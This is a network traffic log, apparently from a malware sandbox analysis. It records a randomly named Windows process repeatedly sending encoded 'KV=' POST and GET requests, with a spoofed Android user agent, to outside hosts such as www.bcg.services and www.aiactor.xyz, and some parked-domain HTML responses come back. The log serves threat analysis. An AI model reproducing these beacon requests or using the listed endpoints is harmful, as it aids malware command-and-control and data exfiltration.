2f 73 58 74 51 39 4e 71 6e 33 37 42 46 65 47 6c 4e 44 54 36 42 35 31 4e 72 6e 46 2f 56 72 58 66 69 42 57 37 6b 49 6c 30 47 42 58 2b 52 45 67 4a 66 34 68 55 6a 2b 64 4a 45 55 44 62 32 33 4c 74 57 71 70 6f 2f 61 68 66 58 6f 75 77 66 73 48 75 68 72 7a 63 2b 54 34 6e 67 44 4f 6d 38 72 57 6c 4b 44 4d 65 56 42 4c 7a 54 62 73 58 48 75 6b 7a 6c 4a 62 4e 6e 32 53 63 2b 30 59 76 58 79 75 39 62 36 55 65 64 4a 38 41 3d 3d Data Ascii: KV=xziRndMIfVeU1ZiS4KLb28rItefet7RkE8OqEdiOyfjqEGWEYyS1rP36cu/sXtQ9Nqn37BFeGlNDT6B51NrnF/VrXfiBW7kIl0GBX+REgJf4hUj+dJEUDb23LtWqpo/ahfXouwfsHuhrzc+T4ngDOm8rWlKDMeVBLzTbsXHukzlJbNn2Sc+0YvXyu9b6UedJ8A==
Nov 20, 2024 16:56:15.690228939 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:14 GMT content-type: text/html; charset=utf-8 content-length: 1114 x-request-id: 03425cf7-020a-42f2-b093-ab63fd8c3ade cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ== set-cookie: parking_session=03425cf7-020a-42f2-b093-ab63fd8c3ade; expires=Wed, 20 Nov 2024 16:11:15 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 6e 4f 36 51 4d 55 4d 4f 49 6e 50 67 36 69 51 54 38 66 35 31 51 4a 61 2b 75 70 6c 41 68 6d 4d 66 53 78 46 44 6d 2f 52 33 71 4c 41 6e 73 54 44 65 36 32 52 55 76 4f 46 69 67 4e 39 59 59 42 64 65 50 52 55 55 74 76 67 4b 6a 4f 41 54 35 76 49 77 2b 4c 76 58 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 16:56:15.690253973 CET	567	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMDM0MjVjZjctMDIwYS00MmYyLWIwOTMtYWI2M2ZkOGMzYWRlIiwicGFnZV90aW1lIjoxNzMyMTE4MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.11	50006	199.59.243.227	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:17.193734884 CET	794	OUT	POST /mxde/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bcg.services Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bcg.services Referer: http://www.bcg.services/mxde/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 7a 69 52 6e 64 4d 49 66 56 65 55 30 35 53 53 30 4a 6a 62 78 63 72 4c 77 75 66 65 6a 62 51 74 45 38 53 71 45 5a 37 44 7a 73 48 71 4b 45 4f 45 62 77 36 31 6f 50 33 36 58 4f 2f 6a 4a 64 51 6d 4e 71 37 5a 37 41 35 65 47 6c 5a 44 54 2b 46 35 79 36 33 6b 4b 50 56 70 62 2f 69 48 53 37 6b 49 6c 30 47 42 58 2b 56 71 67 4a 48 34 6d 6b 54 2b 65 74 51 54 64 72 32 77 4d 74 57 71 34 59 2f 65 68 66 57 50 75 78 7a 43 48 73 70 72 7a 5a 43 54 34 31 45 63 45 6d 38 74 53 6c 4c 76 43 38 34 4f 4e 7a 32 75 6f 55 4c 45 6f 41 73 74 58 72 71 73 43 2f 33 6a 62 38 66 77 36 62 36 4b 64 76 34 41 6e 4a 45 6b 2b 73 67 34 45 35 69 4e 33 70 68 36 6c 34 75 48 73 47 30 3d Data Ascii: KV=xziRndMIfVeU05SS0JjbxcrLwufejbQtE8SqEZ7DzsHqKEOEbw61oP36XO/jJdQmNq7Z7A5eGlZDT+F5y63kKPVpb/iHS7kIl0GBX+VqgJH4mkT+etQTdr2wMtWq4Y/ehfWPuxzCHsprzZCT41EcEm8tSlLvC84ONz2uoULEoAstXrqsC/3jb8fw6b6Kdv4AnJEk+sg4E5iN3ph6l4uHsG0=
Nov 20, 2024 16:56:18.363274097 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:18 GMT content-type: text/html; charset=utf-8 content-length: 1114 x-request-id: 9efeec3e-af86-4fc9-b90d-9f1aa4156492 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ== set-cookie: parking_session=9efeec3e-af86-4fc9-b90d-9f1aa4156492; expires=Wed, 20 Nov 2024 16:11:18 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 6e 4f 36 51 4d 55 4d 4f 49 6e 50 67 36 69 51 54 38 66 35 31 51 4a 61 2b 75 70 6c 41 68 6d 4d 66 53 78 46 44 6d 2f 52 33 71 4c 41 6e 73 54 44 65 36 32 52 55 76 4f 46 69 67 4e 39 59 59 42 64 65 50 52 55 55 74 76 67 4b 6a 4f 41 54 35 76 49 77 2b 4c 76 58 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 16:56:18.363298893 CET	567	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOWVmZWVjM2UtYWY4Ni00ZmM5LWI5MGQtOWYxYWE0MTU2NDkyIiwicGFnZV90aW1lIjoxNzMyMTE4MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.11	50007	199.59.243.227	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:19.862993956 CET	1807	OUT	POST /mxde/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.bcg.services Connection: close Content-Length: 1231 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.bcg.services Referer: http://www.bcg.services/mxde/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 78 7a 69 52 6e 64 4d 49 66 56 65 55 30 35 53 53 30 4a 6a 62 78 63 72 4c 77 75 66 65 6a 62 51 74 45 38 53 71 45 5a 37 44 7a 73 50 71 4b 78 61 45 62 58 4f 31 70 50 33 36 55 4f 2f 67 4a 64 52 6b 4e 71 7a 64 37 41 31 67 47 68 70 44 51 64 64 35 7a 4f 44 6b 52 66 56 70 54 66 69 47 57 37 6b 6e 6c 77 71 64 58 2b 46 71 67 4a 48 34 6d 69 58 2b 4a 70 45 54 66 72 32 33 4c 74 57 63 70 6f 2f 32 68 66 4f 31 75 78 48 38 48 59 64 72 7a 39 65 54 2f 47 67 63 49 6d 38 76 65 46 4c 33 43 38 31 4f 4e 7a 37 52 6f 58 58 69 6f 48 6f 74 48 61 4b 78 63 72 2f 33 49 4f 6a 7a 6d 37 79 4f 42 4e 51 72 76 49 34 71 6f 39 6b 49 48 35 2b 49 34 4c 6b 44 39 72 76 59 33 41 5a 4a 72 73 59 75 74 62 73 46 4d 64 50 67 50 68 36 56 49 62 4b 56 6a 31 63 54 34 61 58 55 74 38 6a 49 73 48 50 48 56 61 51 74 71 53 35 55 4b 55 49 36 6a 73 4b 30 75 45 67 66 4b 35 6b 4a 55 75 63 6d 64 5a 76 47 53 49 34 39 2f 66 62 36 37 78 6d 53 7a 75 2b 41 4e 72 59 35 52 51 45 32 31 64 61 35 5a 59 6d 78 64 48 72 52 48 37 53 79 63 2b 45 4b 30 56 44 2f 4a 69 62 [TRUNCATED] Data Ascii: KV=xziRndMIfVeU05SS0JjbxcrLwufejbQtE8SqEZ7DzsPqKxaEbXO1pP36UO/gJdRkNqzd7A1gGhpDQdd5zODkRfVpTfiGW7knlwqdX+FqgJH4miX+JpETfr23LtWcpo/2hfO1uxH8HYdrz9eT/GgcIm8veFL3C81ONz7RoXXioHotHaKxcr/3IOjzm7yOBNQrvI4qo9kIH5+I4LkD9rvY3AZJrsYutbsFMdPgPh6VIbKVj1cT4aXUt8jIsHPHVaQtqS5UKUI6jsK0uEgfK5kJUucmdZvGSI49/fb67xmSzu+ANrY5RQE21da5ZYmxdHrRH7Syc+EK0VD/JibS6j9fDrP2EqC45MR2bEOuhzEedCkJZh8UUayuOoxp5PxTPXCTlGAILQoEBRH5TW+DWCeq/qJiVnjOlelxc5laFk2rMJr0LNcPjMtKSz6hfVG720EP3Pm8kQDlfX6krIlJvAunaW5UCexFM+rHPtDF2YE5Ebl1kXnfA8XzZhAv7HA49+BFUu67yCwS8OJTOCU/ynn2Hvlcz1rOyzsfddjd75IS/4dpmmoIsl4pY6LgNXBDXues7+R0p99h86LlUrTM7E/F7EQTYGVL0soWgqes8q+d2+hoXNzYk7NV1SP832vt2iDo//bnKLJH0vUyjAKQGiQl+ZGmpi0utawHn0aRpB0PRGcwVSJ0MiQYJ+2cMswonBblGc0lWJMRHtbdL+ThNaIdXp1e1c2sS/ZFcSyxTRClIfOESdRHUlR3DCPKDMSc2M51DSTdAZUZ1GSAjL1HxWxekA4Ep+zRyfFXXKe4zsmNosLMRn5MRouJ9/omtgq1TTkkYXOIWJfBgCR750YTMD2C62otJWJaMQWh+DMjOaU1DF9N/0rnq0IWtu/k/fMWkhWUv4BvvEVGWh6+pw0NhXEgBHMkk3o91JmQISmkD8tcdFGShkDQujNlSFOTYKaE9S+kv+HrKE1FHo9EiO1U+/l2qjB6lXq4BpGsUgFfPKR8WWaQMch9U [TRUNCATED]
Nov 20, 2024 16:56:20.993493080 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:20 GMT content-type: text/html; charset=utf-8 content-length: 1114 x-request-id: 351d76df-d9c9-4417-b8f1-931057f3993e cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ== set-cookie: parking_session=351d76df-d9c9-4417-b8f1-931057f3993e; expires=Wed, 20 Nov 2024 16:11:20 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 6e 4f 36 51 4d 55 4d 4f 49 6e 50 67 36 69 51 54 38 66 35 31 51 4a 61 2b 75 70 6c 41 68 6d 4d 66 53 78 46 44 6d 2f 52 33 71 4c 41 6e 73 54 44 65 36 32 52 55 76 4f 46 69 67 4e 39 59 59 42 64 65 50 52 55 55 74 76 67 4b 6a 4f 41 54 35 76 49 77 2b 4c 76 58 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RnO6QMUMOInPg6iQT8f51QJa+uplAhmMfSxFDm/R3qLAnsTDe62RUvOFigN9YYBdePRUUtvgKjOAT5vIw+LvXQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 16:56:20.993572950 CET	567	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzUxZDc2ZGYtZDljOS00NDE3LWI4ZjEtOTMxMDU3ZjM5OTNlIiwicGFnZV90aW1lIjoxNzMyMTE4MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.11	50008	199.59.243.227	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:22.529843092 CET	504	OUT	GET /mxde/?KV=8xKxkpsUUE6O2YGNwLnJ/+WM1qqfoI8NOsOkZIrS/NSsfWu+QjWct9+gZKiyGOAYB5Pljgx8M21MT9QArezJJe5Vce6MQIBegnnKKN1EkLTSu1v+eqsUQ+w=&Wno=a0qDq HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.bcg.services Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36
Nov 20, 2024 16:56:23.664572954 CET	1236	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 15:56:23 GMT content-type: text/html; charset=utf-8 content-length: 1434 x-request-id: 9493e055-9419-4f4d-8c22-a03ab25c49d4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qMBghzBMFkm+XxvnnAVNvHoaLBGCz7IRfQQIrQzUnIxsahseTRShyOHtELI3ir93B/NWhF1yO05am1jvbpnsJQ== set-cookie: parking_session=9493e055-9419-4f4d-8c22-a03ab25c49d4; expires=Wed, 20 Nov 2024 16:11:23 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 71 4d 42 67 68 7a 42 4d 46 6b 6d 2b 58 78 76 6e 6e 41 56 4e 76 48 6f 61 4c 42 47 43 7a 37 49 52 66 51 51 49 72 51 7a 55 6e 49 78 73 61 68 73 65 54 52 53 68 79 4f 48 74 45 4c 49 33 69 72 39 33 42 2f 4e 57 68 46 31 79 4f 30 35 61 6d 31 6a 76 62 70 6e 73 4a 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qMBghzBMFkm+XxvnnAVNvHoaLBGCz7IRfQQIrQzUnIxsahseTRShyOHtELI3ir93B/NWhF1yO05am1jvbpnsJQ==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Nov 20, 2024 16:56:23.664628983 CET	887	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOTQ5M2UwNTUtOTQxOS00ZjRkLThjMjItYTAzYWIyNWM0OWQ0IiwicGFnZV90aW1lIjoxNzMyMTE4MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	50009	13.248.169.48	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:29.451134920 CET	771	OUT	POST /x4ne/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.aiactor.xyz Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/x4ne/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 46 68 38 50 66 49 6e 32 75 69 2b 70 55 66 72 59 44 53 47 42 38 44 76 4e 30 72 2f 37 6a 42 6f 46 42 41 50 30 32 2f 42 38 7a 74 68 38 66 45 37 77 4d 63 42 61 50 46 47 58 37 78 73 65 72 72 43 6f 6c 57 56 2f 68 2b 37 36 79 64 62 4a 62 45 68 32 72 37 59 43 39 62 35 6a 71 53 61 2f 42 64 2f 6d 34 2f 34 31 67 4d 4b 4b 58 5a 48 57 2b 39 4f 36 75 6f 79 38 67 73 2f 63 78 79 74 56 44 44 4e 43 6a 66 45 38 6e 47 33 79 30 43 2b 38 6a 46 6e 4c 76 43 4a 72 67 51 6b 65 52 72 68 39 4a 6d 45 55 79 4b 6f 69 66 57 44 6b 45 50 77 47 32 4a 42 47 59 38 64 59 43 6a 77 50 7a 49 6d 79 30 70 5a 45 32 77 3d 3d Data Ascii: KV=Fh8PfIn2ui+pUfrYDSGB8DvN0r/7jBoFBAP02/B8zth8fE7wMcBaPFGX7xserrColWV/h+76ydbJbEh2r7YC9b5jqSa/Bd/m4/41gMKKXZHW+9O6uoy8gs/cxytVDDNCjfE8nG3y0C+8jFnLvCJrgQkeRrh9JmEUyKoifWDkEPwG2JBGY8dYCjwPzImy0pZE2w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	50010	13.248.169.48	80	3920	C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 16:56:32.117017031 CET	791	OUT	POST /x4ne/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.aiactor.xyz Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.aiactor.xyz Referer: http://www.aiactor.xyz/x4ne/ User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; Moto G Build/LMY48G; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.90 Mobile Safari/537.36 Data Raw: 4b 56 3d 46 68 38 50 66 49 6e 32 75 69 2b 70 55 39 2f 59 51 6c 61 42 36 6a 76 53 74 4c 2f 37 70 68 6f 42 42 41 7a 30 32 36 67 78 7a 65 56 38 63 6b 4c 77 4e 64 42 61 4d 46 47 58 6a 68 74 57 68 4c 43 7a 6c 57 52 33 68 38 2f 36 79 64 66 4a 62 47 4a 32 71 4d 45 42 38 4c 35 68 6e 79 61 35 50 39 2f 6d 34 2f 34 31 67 49 62 6c 58 5a 2f 57 2b 4a 79 36 75 4a 79 37 75 4d 2f 62 32 79 74 56 55 54 4e 47 6a 66 45 6b 6e 43 32 70 30 41 32 38 6a 48 2f 4c 68 77 68 6f 35 67 6b 69 4d 37 67 30 48 56 67 5a 71 59 78 49 48 46 69 52 4b 76 67 4b 2b 76 4d 63 49 66 55 50 42 77 34 4e 6e 75 48 43 39 59 38 4e 74 2b 77 5a 71 4b 56 75 4e 4c 4e 38 56 70 68 63 43 5a 50 68 71 6f 30 3d Data Ascii: KV=Fh8PfIn2ui+pU9/YQlaB6jvStL/7phoBBAz026gxzeV8ckLwNdBaMFGXjhtWhLCzlWR3h8/6ydfJbGJ2qMEB8L5hnya5P9/m4/41gIblXZ/W+Jy6uJy7uM/b2ytVUTNGjfEknC2p0A28jH/Lhwho5gkiM7g0HVgZqYxIHFiRKvgK+vMcIfUPBw4NnuHC9Y8Nt+wZqKVuNLN8VphcCZPhqo0=

